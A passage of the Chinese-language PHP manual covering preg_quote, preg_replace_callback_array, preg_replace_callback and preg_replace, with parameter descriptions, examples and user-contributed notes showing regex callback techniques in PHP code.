It should be noted that the forward slash is not escaped.  Since many regexes are surrounded by forward slashes, if you have one in your regex as  text you must escape it yourself otherwise it'll terminat the regex.
noreply at t-regx dot com 20-May-2019 08:28
If you find yourself using too much of preg_quote(), it's a good sign you might want to use Prepared Patterns from T-Regx library: https://t-regx.com/docs/handling-user-input
rwillmann at crooce dot com 25-Aug-2017 11:53
List of specials is incomplete:

--- sample code ---

$specials = '.\+*?[^]$(){}=!<>|:-';

for ($i = 0; $i <= 255; $i++) {

    if (chr($i) !== preg_quote(chr($i))) {

        printf("Character 0x%02x quoted%s\n",
               $i,
               (strpos($specials, chr($i)) === FALSE) ? ' (+)' : '');
    } /* if */
} /* for */

--- sample code ---

--- output ---

Character 0x00 quoted (+)
Character 0x21 quoted
Character 0x24 quoted
Character 0x28 quoted
Character 0x29 quoted
Character 0x2a quoted
Character 0x2b quoted
Character 0x2d quoted
Character 0x2e quoted
Character 0x3a quoted
Character 0x3c quoted
Character 0x3d quoted
Character 0x3e quoted
Character 0x3f quoted
Character 0x5b quoted
Character 0x5c quoted
Character 0x5d quoted
Character 0x5e quoted
Character 0x7b quoted
Character 0x7c quoted
Character 0x7d quoted

--- output ---
zooly 21-Jul-2009 01:07
To escape characters with special meaning, like: .-[]() and so on, use \Q and \E.

For example:

<?php echo ( preg_match('/^'.( $myvar = 'te.t' ).'$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: match

But:

<?php echo ( preg_match('/^\Q'.( $myvar = 'te.t' ).'\E$/i', 'test') ? 'match' : 'nomatch' ); ?>

Will result in: nomatch
Anonymous 26-Dec-2007 03:13
Wondering why your preg_replace fails, even if you have used preg_quote?

Try adding the delimiter / - preg_quote($string, '/');


Perform a regular expression search and replace using callbacks

  • ? preg_quote
  • preg_replace_callback ?
  • PHP Manual
  • PCRE 函数
  • Perform a regular expression search and replace using callbacks

preg_replace_callback_array

(PHP 7, PHP 8)

preg_replace_callback_array — Perform a regular expression search and replace using callbacks

说明

preg_replace_callback_array(
array $pattern,
string|array $subject,
int $limit = -1,
int &$count = null,
int $flags = 0
): string|array|null

The behavior of this function is similar to preg_replace_callback(), except that callbacks are executed on a per-pattern basis.

参数

pattern

An associative array mapping patterns (keys) to callables (values).

subject

The string or an array with strings to search and replace.

limit

The maximum possible replacements for each pattern in each subject string. Defaults to -1 (no limit).

count

If specified, this variable will be filled with the number of replacements done.

flags

flags can be a combination of the PREG_OFFSET_CAPTURE and PREG_UNMATCHED_AS_NULL flags, which influence the format of the matches array. See the description in preg_match() for more details.

返回值

preg_replace_callback_array() returns an array if the subject parameter is an array, or a string otherwise. On errors the return value is null

If matches are found, the new subject will be returned, otherwise subject will be returned unchanged.

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

更新日志

版本 | 说明
7.4.0 | The flags parameter was added.

示例

Example #1 preg_replace_callback_array() example

<?php
$subject = 'Aaaaaa Bbb';

preg_replace_callback_array(
[
'~[a]+~i' => function ($match) {
echo strlen($match[0]), ' matches for "a" found', PHP_EOL;
},
'~[b]+~i' => function ($match) {
echo strlen($match[0]), ' matches for "b" found', PHP_EOL;
}
],
$subject
);
?>

以上示例会输出：

6 matches for "a" found
3 matches for "b" found

参见

  • PCRE Patterns
  • preg_replace_callback() - 执行一个正则表达式搜索并且使用一个回调进行替换
  • preg_quote() - 转义正则表达式字符
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码
  • Anonymous functions

User Contributed Notes

Sz. 25-Jan-2018 05:24
Based on some tests, I found these important traits of the function. (These would
be nice to see documented as part of its spec, e.g. for confirmation. Without that,
this is just experimental curiosity. Still better than guesswork, though! ;) )

1. Changes cascade over a subject across callbacks, i.e. a change made to a
   subject by a callback will be seen by the next callback, if its pattern matches
   the changed subject.
   (But a change made by a previous call of the *same* callback (on any subject)
   will not be seen by that callback again.)

2. The pattern + callback pairs will be applied in the order of their appearance
   in $patterns_and_callbacks.

3. The callback can't be null (or '') for a quick shortcut for empty replacements.

4. Overall, the algorithm starts iterating over $patterns_and_callbacks, and then
   feeds each $subject to the current callback, repeatedly for every single match
   of its pattern on the current subject (unlike "preg_match_all", that is, which
   can do the same in one go, returning the accumulated results in an array).

   This basically means that the "crown jewel", an even more efficient function:
   "preg_replace_all_callback_array" is still missing from the collection.

   (Of course, that would better fit a new design of the regex API, where one
   API could flexibly handle various different modes via some $flags = [] array.)

5. (This last one is not specific to this function, but inherent to regexes, OTOH,
   it's probably more relevant here than anywhere else in PHP's regex support.)

   Even apparently simple cases can generate a crazy (and difficult-to-predict)
   number of matches, and therefore callback invokations, so remember the set
   $limit, where affordable. But, of course, try to sharpen your patterns first!

   E.g. use ^...$ anchoring to avoid unintended extra calls on matching substrings
   of a subject, (I.e. '/.*/', without anchoring, would match twice: once for the
   whole subject, and then for a trailing empty substring -- but I'm not quite sure
   this should actually be correct behavior, though.)
jfcherng at NOSPAM dot gmail dot com 29-Dec-2015 06:25
Here's a possible alternative in older PHP.

<?php

// if (!function_exists('preg_replace_callback_array')) {

function preg_replace_callback_array (array $patterns_and_callbacks, $subject, $limit=-1, &$count=NULL) {
    $count = 0;
    foreach ($patterns_and_callbacks as $pattern => &$callback) {
        $subject = preg_replace_callback($pattern, $callback, $subject, $limit, $partial_count);
        $count += $partial_count;
    }
    return preg_last_error() == PREG_NO_ERROR ? $subject : NULL;
}

// }

?>
drevilkuko at gmail dot com 09-Dec-2015 12:24
finally!!!

before (<=php5.6):

<?php
        $htmlString = preg_replace_callback(
            '/(href="?)(\S+)("?)/i',
            function (&$matches) {
                return $matches[1] . urldecode($matches[2]) . $matches[3];
            },
            $htmlString
        );

        $htmlString = preg_replace_callback(
            '/(href="?\S+)(%24)(\S+)?"?/i', // %24 = $
            function (&$matches) {
                return urldecode($matches[1] . '$' . $matches[3]);
            },
            $htmlString
        );
?>

php7

<?php

        $htmlString = preg_replace_callback_array(
            [
                '/(href="?)(\S+)("?)/i' => function (&$matches) {
                    return $matches[1] . urldecode($matches[2]) . $matches[3];
                },
                '/(href="?\S+)(%24)(\S+)?"?/i' => function (&$matches) {
                    return urldecode($matches[1] . '$' . $matches[3]);
                }
            ],
            $htmlString
        );
?>


执行一个正则表达式搜索并且使用一个回调进行替换

  • ? preg_replace_callback_array
  • preg_replace ?
  • PHP Manual
  • PCRE 函数
  • 执行一个正则表达式搜索并且使用一个回调进行替换

preg_replace_callback

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

preg_replace_callback — 执行一个正则表达式搜索并且使用一个回调进行替换

说明

preg_replace_callback(
string|array $pattern,
callable $callback,
string|array $subject,
int $limit = -1,
int &$count = null,
int $flags = 0
): string|array|null

这个函数的行为除了可以指定一个 callback 替代 replacement 进行替换字符串的计算，其他方面等同于 preg_replace()。

参数

pattern

要搜索的模式，可以是字符串或一个字符串数组。

callback

一个回调函数，在每次需要替换时调用，调用时函数得到的参数是从 subject 中匹配到的结果。回调函数返回真正参与替换的字符串。这是该回调函数的签名：

handler(array $matches): string

经常会需要 callback 函数而仅用于 preg_replace_callback() 一个地方的调用。在这种情况下，你可以使用 匿名函数 来定义一个匿名函数作为 preg_replace_callback() 调用时的回调。 这样做你可以保留所有调用信息在同一个位置并且不会因为一个不在任何其他地方使用的回调函数名称而污染函数名称空间。

Example #1 preg_replace_callback() 和 匿名函数

<?php
/* 一个unix样式的命令行过滤器，用于将段落开始部分的大写字母转换为小写。 */
$fp = fopen("php://stdin", "r") or die("can't read stdin");
while (!feof($fp)) {
$line = fgets($fp);
$line = preg_replace_callback(
'|<p>\s*\w|',
function ($matches) {
return strtolower($matches[0]);
},
$line
);
echo $line;
}
fclose($fp);
?>

subject

要搜索替换的目标字符串或字符串数组。

limit

对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是 -1（无限制）。

count

如果指定，这个变量将被填充为替换执行的次数。

flags

flags 可以是 PREG_OFFSET_CAPTURE 和 PREG_UNMATCHED_AS_NULL 标志的组合， 这会影响匹配到的结果的格式。 相关详情请参阅 preg_match() 中的描述。

返回值

如果 subject 是一个数组， preg_replace_callback() 返回一个数组，其他情况返回字符串。错误发生时返回 null。

如果查找到了匹配，返回替换后的目标字符串（或字符串数组），其他情况 subject 将会无变化返回。

错误／异常

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

更新日志

版本 | 说明
7.4.0 | 新增 flags 参数。

示例

Example #2 preg_replace_callback()示例

<?php
// 将文本中的年份增加一年.
$text = "April fools day is 04/01/2002\n";
$text.= "Last christmas was 12/24/2001\n";
// 回调函数
function next_year($matches)
{
// 通常: $matches[0]是完成的匹配
// $matches[1]是第一个捕获子组的匹配
// 以此类推
return $matches[1].($matches[2]+1);
}
echo preg_replace_callback(
"|(\d{2}/\d{2}/)(\d{4})|",
"next_year",
$text);

?>

以上示例会输出：

April fools day is 04/01/2003
Last christmas was 12/24/2002

Example #3 preg_replace_callback() 使用递归构造处理 BB 码的封装

<?php
$input = "plain [indent] deep [indent] deeper [/indent] deep [/indent] plain";

function parseTagsRecursive($input)
{
/* 译注: 对此正则表达式分段分析
* 首尾两个#是正则分隔符
* \[indent] 匹配一个原文的[indent]
* ((?:[^[]|\[(?!/?indent])|(?R))+)分析:
* (?:[^[]|\[(?!/?indent])分析:
* 首先它是一个非捕获子组
* 两个可选路径, 一个是非[字符, 另一个是[字符但后面紧跟着不是/indent或indent.
* (?R) 正则表达式递归
* \[/indent] 匹配结束的[/indent]
* /

$regex = '#\[indent]((?:[^[]|\[(?!/?indent])|(?R))+)\[/indent]#';

if (is_array($input)) {
$input = '<div style="margin-left: 10px">'.$input[1].'</div>';
}

return preg_replace_callback($regex, 'parseTagsRecursive', $input);
}

$output = parseTagsRecursive($input);

echo $output;
?>

参见

  • PCRE 模式
  • preg_replace_callback_array() - Perform a regular expression search and replace using callbacks
  • preg_quote() - 转义正则表达式字符
  • preg_replace() - 执行一个正则表达式的搜索和替换
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码
  • 匿名函数

User Contributed Notes

Evgeny 02-May-2023 09:13
Please note! if you have defined namespace,
the usage format must me changed:

echo preg_replace_callback(
            "|(\d{2}/\d{2}/)(\d{4})|",
            __NAMESPACE__ . '\\next_year',
            $text);
jobowo 21-Feb-2022 01:36
Note that when using the 'Use ($variable)' with preg_replace_callback, if you wish the value to be altered by the anonymous function, you must pass the value in by reference. eg preg_replace_callback($pattern, function($matches) use (&$alterThis) { $alterThis+=$something;},$string);
2962051004 at qq dot com 03-Oct-2018 04:03
<?php

/**
 * 将中文转为Html实体
 * Turning Chinese into Html entity
 * Author QiangGe
 * Mail 2962051004@qq.com
 *
*/

$str = <<<EOT
你好 world
EOT;

function ChineseToEntity($str) {
 return preg_replace_callback(
        '/[\x{4e00}-\x{9fa5}]/u', // utf-8
        // '/[\x7f-\xff]+/', // if gb2312
        function ($matches) {
            $json = json_encode(array($matches[0]));
            preg_match('/\[\"(.*)\"\]/', $json, $arr);
            /*
             * 通过json_encode函数将中文转为unicode
             * 然后用正则取出unicode
             * Turn the Chinese into Unicode through the json_encode function, then extract Unicode from regular.
             * I think this idea is seamless.
            */
            return '&#x'. str_replace('\\u', '', $arr[1]). ';';
        }, $str
   );
}

echo ChineseToEntity($str);
// &#x4f60;&#x597d; world
tgage at nobigfoot dot com 26-Jun-2018 08:00
To use variable from the parent scope of the anonymous callback function passed to preg_replace_callback(), utilize the use() parameter.

$var1 = "one";
$var2 = "two";
$line = preg_replace_callback('/^.*$/',
            function( $matches ) use ( $var1, $var2 ) {
                return( $var1 . " " . $var2 );
            }, $line);

Will replace the entire string with the concatenated values or $var1 and $var2 ("one two") from the parent scope.
steven at nevvix dot com 15-Jun-2018 03:34
<?php
$format = <<<SQL
CREATE DATABASE IF NOT EXISTS :database;
GRANT ALL PRIVILEGES ON :database_name.* TO ':user'@':host';
SET PASSWORD = PASSWORD(':pass');
SQL;
$args = ["database"=>"people", "user"=>"staff", "pass"=>"pass123", "host"=>"localhost"];

preg_replace_callback("/:(\w+)/", function ($matches) use ($args) {
    return @$args[$matches[1]] ?: $matches[0];
}, $format);

/*
Result:

CREATE DATABASE IF NOT EXISTS people;
GRANT ALL PRIVILEGES ON :database_name.* TO 'staff'@'localhost';
SET PASSWORD = PASSWORD('pass123');

The `:database_name` placeholder doesn't exist as a matching key in `$args` so it's returned as is.
This way you know you need to correct the array by adding the "database_name" item.
*/
Fredow 03-Mar-2015 03:35
<?php
// Nice little function that convert a string to uppercase by keeping the HTMLentities intact.
public static function strtoupper_entities($str) {

    $patternMajEntities = '/(\&([A-Z])(ACUTE|CEDIL|CARON|CIRC|GRAVE|ORN|RING|SLASH|TH|TILDE|UML)\;)+/';
    $str = preg_replace_callback ($patternMajEntities,
        function ($matches) {
            return "&" . $matches[2] . strtolower($matches[3]) . ";";
        }, strtoupper($str));

    return $str;
}
Anteaus 02-Jan-2015 08:54
Be aware that as of php5.4 you MUST NOT pass variables by reference, as in  '[, int &$count ]' - if you do it will result in a fatal error.
I think the writer is trying to say that the function accepts the parameter by reference, but that is not how it reads. -Manual needs updating/clarifying ?
Underdog 07-Feb-2014 03:33
For the callback I advise only to use a permanent or anonymous function.

Depending on the usage you may encounter memory issues when using create_function for the callback possibly due to attempts at being compatible with PHP 5.2 or prior. Some servers  refuse to update their PHP  for whatever reason.

Please peruse the create_function documentation for more details regarding its memory usage.

Regards.
T-Soloveychik at ya dot ru 20-Jul-2013 02:41
Text lines numeration:
<?PHP
// Multieline text:
    $Text = "
Some
Multieline
text
for
numeration";

// For count:
    $GLOBALS["LineNUMBER"] = 1;

// Replace linestart on number:
    PRINT preg_replace_callback("/^/m",function ()
        {
            return $GLOBALS["LineNUMBER"]++."  ";
        },
        $Text);

?>

1
2 Some
3 Multieline
4 text
5 for
6 numeration
kkatpki 18-Jun-2013 02:41
Note that, as of PHP 5.3, it seems that named subpatterns are now included in the matches array by their named key as well as their numerical key.

To build off of Chris' previous example, as of PHP 5.3, you *can* do

<?php

preg_replace_callback('/(?<char>[a-z])/', 'callback', 'word');

function callback($matches) {
    var_dump($matches);
}

?>

and expect to get $matches['char'] in your function. * BUT ONLY AS OF PHP 5.3 *

Please be mindful of this if you intend to support PHP 5.2.
Yuri 14-Oct-2012 10:27
If you want to call non-static function inside your class, you can do something like this.

For PHP 5.2 use second argument like array($this, 'replace'):
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, array($this, 'replace'), $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>

For PHP 5.3 use second argument like "self::replace":
<?php
class test_preg_callback{

  private function process($text){
    $reg = "/\{([0-9a-zA-Z\- ]+)\:([0-9a-zA-Z\- ]+):?\}/";
    return preg_replace_callback($reg, "self::replace", $text);
  }

  private function replace($matches){
    if (method_exists($this, $matches[1])){
      return @$this->$matches[1]($matches[2]);
    }
  }
}
?>
Richard 04-Sep-2012 10:59
The easiest way to pass more than one parameters to the callback function is with the 'use' keyword.

[This is better than using global, because it works even when we are already inside a function.]

In this example, the callback function is an anonymous function, which takes one argument, $match, supplied by preg_replace_callback().  The extra
"use ($ten)" puts the $ten variable into scope for the function.

<?php
$string = "Some numbers: one: 1; two: 2; three: 3 end";
$ten = 10;
$newstring = preg_replace_callback(
    '/(\\d+)/',
    function($match) use ($ten) { return (($match[0] + $ten)); },
    $string
    );
echo $newstring;
#prints "Some numbers: one: 11; two: 12; three: 13 end";
?>
development at HashNotAdam dot com 19-Jun-2012 05:47
From PHP 5.3 you can use an anonymous function to pass local variables into the callback.

<?php

public function replace_variables( $subject, $otherVars ) {
    $linkPatterns = array(
        '/(<a .*)href=(")([^"]*)"([^>]*)>/U',
        "/(<a .*)href=(')([^']*)'([^>]*)>/U"
    );

    $callback = function( $matches ) use ( $otherVars ) {
        $this->replace_callback($matches, $otherVars);
    };

    return preg_replace_callback($this->patterns, $callback, $subject);
}

public function replace_callback($matches, $otherVars) {
    return $matches[1] . $otherVars['myVar'];
}
?>
Florian Arndt 26-Jan-2012 12:26
This small class allows PHP users to read JSON files with include statements in them. For instance the include {{{ "relative/to/including.json" }}} is replaced by the content of the json file located at "relative/to/including.json".

<?php
    /**
     * Handles JSON files with includes
     * Purpose: handle bigger JSON files by featuring "includes"
     *
     * @author Florian Arndt
     */
    class JWI {
        /**
         * Parses a JSON file and returns its contents
         * @param String $filename
         */
        static function read($filename) {
            if(!file_exists($filename))
                throw new Exception('<b>JWI Error: JSON file <tt>'.$filename.'</tt> not found!</b>');
            $content = join('', file($filename));
            $dir = dirname($filename);
            /**
             * replace
             *   include statements
             * with
             *   content of the file to include
             * recursively
             */
            $content = preg_replace_callback(
                '/{{{\s*"\s*(.+)\s*"\s*}}}/', // >include file< - pattern
                create_function(
                    '$matches', // callback parameter
                    sprintf(
                        '$fn = "%s/".$matches[1];'.
                        'return JWI::read($fn);',
                        realpath(dirname($filename))
                    )
                ),
                $content
            );
            return $content;
        }
    }
alex dot cs00 at yahoo dot ca 06-Oct-2010 02:09
Don't use this function to fetch BBCode, as explained. If you have some text that runs over 5000 chars (average), it will run out of its limit and makes you download the PHP page.

According to this, you should instead use something more advanced yet complex. You will need a function called "str_replace_once()" (search for it), one called "countWord()", the famous "after()", "before()", "between()".

str_replace_once does same as str_replace, but only replace first occurence. As for countWord, I guess you know how to count the number of a word occurence. As for after, before and between, this is a function that you may find easily somewhere on the site by a user. Else, you can do it.

The following function is able to do all blocks, supposing [code] and [/code], you might wish things between parents dont get parsed, including [code] if inside of another [code].

<?php
function prepareCode($code, $op, $end)
{
    $ix = 0;
    $iy = 0;
    $nbr_Op = countWord($op, $code);
    while($ix < $nbr_Op)
    {
        if(in_string($op, before($end, $code), false))
        {
            // The following piece of code replace the default [tag] by [tag:#]
            $code = str_replace_once($op, substr($op, 0, -1).':'.$ix.']', $code);
            $iy++;
        }
        elseif(in_string($end, before($op, $code), false))
        {
            $iy = $iy-1;
            $code = str_replace_once($end, substr($end, 0, -1).':'.($ix-1).']', $code);
            $ix = $ix-2;
        }
        $ix++;
    }
    while(in_string($end, $code))
    {
        $code = str_replace_once($end, substr($end, 0, -1).':'.($iy-1).']', $code);
        $iy=$iy-1;
    }

    $code = preg_replace('#\\'.substr($end, 0, 1).':-[0-9]\]#i', '', $code);
    if(in_string(substr($op, 0, -1).':0]', $code) && !in_string(substr($end, 0, -1).':0]', $code))
    {
        $code .= substr($end, 0, -1).":0]";
    }
    return $code;
}
?>

$code returns the whole text semi-formated. You only need to use it as :
$code = prepareCode($code="Your text", $op="[tag]" , $end="[/tag]");
Then just replace the parent tags :
str_replace("[tag:0]", "<tag>", $code);
str_replace("[/tag:0]", "</tag>", $code);
So at the end something like :
[
chris at ocproducts dot com 02-Jul-2010 07:39
The pcre.backtrack_limit option (added in PHP 5.2) can trigger a NULL return, with no errors. The default pcre.backtrack_limit value is 100000. If you have a match that exceeds about half this limit it triggers a NULL response.
e.g. My limit was at 100000 but 500500 triggered a NULL response. I'm not running unicode but I *guess* PCRE runs in utf-16.
Anonymous 09-Jun-2010 12:01
Created this to fetch the link and name of an anchor tag. I use this when cleaning an HTML email to text. Using regex for HTML is not recommended but for this purpose I see no issue with it. This is not designed to work for nested anchors.

A note to keep in mind:
I was primarily concerned with valid HTML so if attributes do no use ' or " to contain the values then this will need to be tweaked.
If you can edit this to work better, please let me know.
<?php
/**
 * Replaces anchor tags with text
 * - Will search string and replace all anchor tags with text (case insensitive)
 *
 * How it works:
 * - Searches string for an anchor tag, checks to make sure it matches the criteria
 *         Anchor search criteria:
 *             - 1 - <a (must have the start of the anchor tag )
 *             - 2 - Can have any number of spaces or other attributes before and after the href attribute
 *             - 3 - Must close the anchor tag
 *
 * - Once the check has passed it will then replace the anchor tag with the string replacement
 * - The string replacement can be customized
 *
 * Know issue:
 * - This will not work for anchors that do not use a ' or " to contain the attributes.
 *         (i.e.- <a href=http: //php.net>PHP.net</a> will not be replaced)
 */
function replaceAnchorsWithText($data) {
    /**
     * Had to modify $regex so it could post to the site... so I broke it into 6 parts.
     */
    $regex  = '/(<a\s*'; // Start of anchor tag
    $regex .= '(.*?)\s*'; // Any attributes or spaces that may or may not exist
    $regex .= 'href=[\'"]+?\s*(?P<link>\S+)\s*[\'"]+?'; // Grab the link
    $regex .= '\s*(.*?)\s*>\s*'; // Any attributes or spaces that may or may not exist before closing tag
    $regex .= '(?P<name>\S+)'; // Grab the name
    $regex .= '\s*<\/a>)/i'; // Any number of spaces between the closing anchor tag (case insensitive)

    if (is_array($data)) {
        // This is what will replace the link (modify to you liking)
        $data = "{$data['name']}({$data['link']})";
    }
    return preg_replace_callback($regex, 'replaceAnchorsWithText', $data);
}

$input  = 'Test 1: <a href="http: //php.net1">PHP.NET1</a>.<br />';
$input .= 'Test 2: <A name="test" HREF=\'HTTP: //PHP.NET2\' target="_blank">PHP.NET2</A>.<BR />';
$input .= 'Test 3: <a hRef=http: //php.net3>php.net3</a><br />';
$input .= 'This last line had nothing to do with any of this';

echo replaceAnchorsWithText($input).'<hr/>';
?>
Will output:
Test 1: PHP.NET1(http: //php.net1).
Test 2: PHP.NET2(HTTP: //PHP.NET2).
Test 3: php.net3 (is still an anchor)
This last line had nothing to do with any of this
Drake 21-Mar-2010 05:48
The good version of the class PhpHex2Str
<?php
class PhpHex2Str
{
    private $strings;

    private static function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'PhpHex2Str::x_hex2str', $this->strings);
    }
}

// Exemple
$obj = new PhpHex2Str;

$strings = $obj->decode($strings);
var_dump($strings);
?>
Drake 21-Mar-2010 12:05
Decode Hexa to Strings =)
<?php
class PhpHex2Str
{
    private $strings;

    private function x_hex2str($hex) {
        $hex = substr($hex[0], 1);
        $str = '';
        for($i=0;$i < strlen($hex);$i+=2) {
            $str.=chr(hexdec(substr($hex,$i,2)));
        }
        return $str;
    }

    public function decode($strings = null) {
        $this->strings = (string) $strings;
        return preg_replace_callback('#\%[a-zA-Z0-9]{2}#', 'x_hex2str', $this->strings);
    }
}

// Example
$strings = 'a %20 b%0A h %27 h %23';

$obj = new PhpHex2Str;
$strings = $obj->decode($strings);
var_dump($strings);
?>
carlos dot ballesteros at softonic dot com 02-Jul-2009 08:02
A simple function to replace a list of complete words or terms in a string (for PHP 5.3 or above because of the closure):

<?php
function replace_words($list, $line, $callback) {
    return preg_replace_callback(
        '/(^|[^\\w\\-])(' . implode('|', array_map('preg_quote', $list)) . ')($|[^\\w\\-])/mi',
        function($v) use ($callback) { return $v[1] . $callback($v[2]) . $v[3]; },
        $line
    );
}
?>

Example of usage:
<?php
$list = array('php', 'apache web server');
$str = "php and the apache web server work fine together. php-gtk, for example, won't match. apache web servers shouldn't too.";

echo replace_words($list, $str, function($v) {
    return "<strong>{$v}</strong>";
});
?>
Sjon at hortensius dot net 24-Jun-2007 04:56
preg_replace_callback returns NULL when pcre.backtrack_limit is reached; this sometimes occurs faster then you might expect. No error is raised either; so don't forget to check for NULL yourself
matt at mattsoft dot net 26-Apr-2006 02:16
it is much better on preformance and better practice to use the preg_replace_callback function instead of preg_replace with the e modifier.

function a($text){return($text);}

// 2.76 seconds to run 50000 times
preg_replace("/\{(.*?)\}/e","a('\\1','\\2','\\3',\$b)",$a);

// 0.97 seconds to run 50000 times
preg_replace_callback("/\{(.*?)\}/s","a",$a);


执行一个正则表达式的搜索和替换

  • ? preg_replace_callback
  • preg_split ?
  • PHP Manual
  • PCRE 函数
  • 执行一个正则表达式的搜索和替换

preg_replace

(PHP 4, PHP 5, PHP 7, PHP 8)

preg_replace — 执行一个正则表达式的搜索和替换

说明

preg_replace(
string|array $pattern,
string|array $replacement,
string|array $subject,
int $limit = -1,
int &$count = null
): string|array|null

搜索 subject 中匹配 pattern 的部分，以 replacement 进行替换。

匹配一个精确的字符串，而不是一个模式， 可以使用 str_replace() 或 str_ireplace() 代替这个函数。

参数

pattern

要搜索的模式。可以是一个字符串或字符串数组。

可以使用一些 PCRE 修饰符。

replacement

用于替换的字符串或字符串数组。如果这个参数是一个字符串，并且 pattern 是一个数组，那么所有的模式都使用这个字符串进行替换。如果 pattern 和 replacement 都是数组，每个 pattern 使用 replacement 中对应的元素进行替换。如果 replacement 中的元素比 pattern 中的少，多出来的 pattern 使用空字符串进行替换。

replacement 中可以包含后向引用 \\n 或 $n，语法上首选后者。 每个这样的引用将被匹配到的第 n 个捕获子组捕获到的文本替换。 n 可以是0-99，\\0 和 $0 代表完整的模式匹配文本。捕获子组的序号计数方式为：代表捕获子组的左括号从左到右， 从1开始数。如果要在 replacement 中使用反斜线，必须使用 4 个("\\\\"，译注：因为这首先是 PHP 的字符串，经过转义后，是两个，再经过正则表达式引擎后才被认为是一个原文反斜线)。

当在替换模式下工作并且后向引用后面紧跟着需要是另外一个数字 (比如：在一个匹配模式后紧接着增加一个原文数字)，不能使用 \\1 这样的语法来描述后向引用。比如，\\11将会使preg_replace() 不能理解你希望的是一个 \\1 后向引用紧跟一个原文 1，还是一个 \\11 后向引用后面不跟任何东西。 这种情况下解决方案是使用 ${1}1。这创建了一个独立的 $1 后向引用, 一个独立的原文 1。

当使用被弃用的 e 修饰符时, 这个函数会转义一些字符 (即：'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误 (比如： 'strlen(\'$1\')+strlen("$2")')。确保符合 PHP 的 字符串语法，并且符合 eval 语法。因为在完成替换后，引擎会将结果字符串作为 PHP 代码使用 eval 方式进行评估并将返回值作为最终参与替换的字符串。

subject

要进行搜索和替换的字符串或字符串数组。

如果 subject 是一个数组，搜索和替换回在 subject 的每一个元素上进行, 并且返回值也会是一个数组。

如果 subject 是关联数组，则键会保留在返回值中。

limit

每个模式在每个 subject 上进行替换的最大次数。默认是 -1(无限)。

count

如果指定，将会被填充为完成的替换次数。

返回值

如果 subject 是一个数组，preg_replace() 返回一个数组，其他情况下返回一个字符串。

如果匹配被查找到，替换后的 subject 被返回，其他情况下返回没有改变的 subject。如果发生错误，返回 null 。

错误／异常

"\e" 会并忽略，并产生 E_WARNING 错误。

如果传递的正则表达式无法正常解析，会发出 E_WARNING。

示例

Example #1 使用后向引用紧跟数值原文

<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/i';
$replacement = '${1}1,$3';
echo preg_replace($pattern, $replacement, $string);
?>

以上示例会输出：

April1,2003

Example #2 preg_replace() 中使用基于索引的数组

<?php
$string = 'The quick brown fox jumps over the lazy dog.';
$patterns = array();
$patterns[0] = '/quick/';
$patterns[1] = '/brown/';
$patterns[2] = '/fox/';
$replacements = array();
$replacements[2] = 'bear';
$replacements[1] = 'black';
$replacements[0] = 'slow';
echo preg_replace($patterns, $replacements, $string);
?>

以上示例会输出：

The bear black slow jumps over the lazy dog.

对模式和替换内容按 key 进行排序我们可以得到期望的结果。

<?php
ksort($patterns);
ksort($replacements);
echo preg_replace($patterns, $replacements, $string);
?>

以上示例会输出：

The slow black bear jumps over the lazy dog.

Example #3 替换一些值

<?php
$patterns = array ('/(19|20)(\d{2})-(\d{1,2})-(\d{1,2})/',
'/^\s*{(\w+)}\s*=/');
$replace = array ('\3/\4/\1\2', '$\1 =');
echo preg_replace($patterns, $replace, '{startDate} = 1999-5-27');
?>

以上示例会输出：

$startDate = 5/27/1999

Example #4 剥离空白字符

这个例子剥离多余的空白字符

<?php
$str = 'foo o';
$str = preg_replace('/\s\s+/', ' ', $str);
// 将会改变为'foo o'
echo $str;
?>

Example #5 使用参数 count

<?php
$count = 0;

echo preg_replace(array('/\d/', '/\s/'), '*', 'xp 4 to', -1 , $count);
echo $count; //3
?>

以上示例会输出：

xp***to
3

注释

Note:

当使用数组形式的pattern和replacement时, 将会按照key在数组中出现的顺序进行处理. 这不一定和数组的索引顺序一致. 如果你期望使用索引对等方式用replacement对pattern 进行替换, 你可以在调用preg_replace()之前对两个数组各进行一次ksort()排序.

Note:

当 pattern 和 replacement 都是数组时，匹配规则将按顺序执行。也就是说第二个 pattern/replacement 将作用于第一个 pattern/replacement 生成的字符串，而不是原始字符串。 If you want to simulate replacements operating in parallel, such as swapping two values, replace one pattern by an intermediary placeholder, then in a later pair replace that intermediary placeholder with the desired replacement.

<?php
$p = array('/a/', '/b/', '/c/');
$r = array('b', 'c', 'd');
print_r(preg_replace($p, $r, 'a'));
// 打印 d
?>

参见

  • PCRE 模式
  • preg_quote() - 转义正则表达式字符
  • preg_filter() - 执行一个正则表达式搜索和替换
  • preg_match() - 执行匹配正则表达式
  • preg_replace_callback() - 执行一个正则表达式搜索并且使用一个回调进行替换
  • preg_split() - 通过一个正则表达式分隔字符串
  • preg_last_error() - 返回最后一个PCRE正则执行产生的错误代码
  • str_replace() - 子字符串替换

User Contributed Notes

razvan_bc at yahoo dot com 08-Oct-2022 10:11
How to replace all comments inside code without remove crln  = \r\n or cr \r each line?

<?php
$txt_target=<<<t1
this;//    dsdsds
    nope

/*
    ok
    */
is;huge
/*text bla*/
    /*bla*/

t1;

/*
=======================================================================
expected result:
=======================================================================
this;
    nope

is;huge
=======================================================================
visualizing in a hex viewer .. to_check_with_a_hex_viewer.txt ...
 t  h  i  s  ; LF TAB n  o  p  e CR LF CR LF  i  s  ;  h  u  g  e CR LF
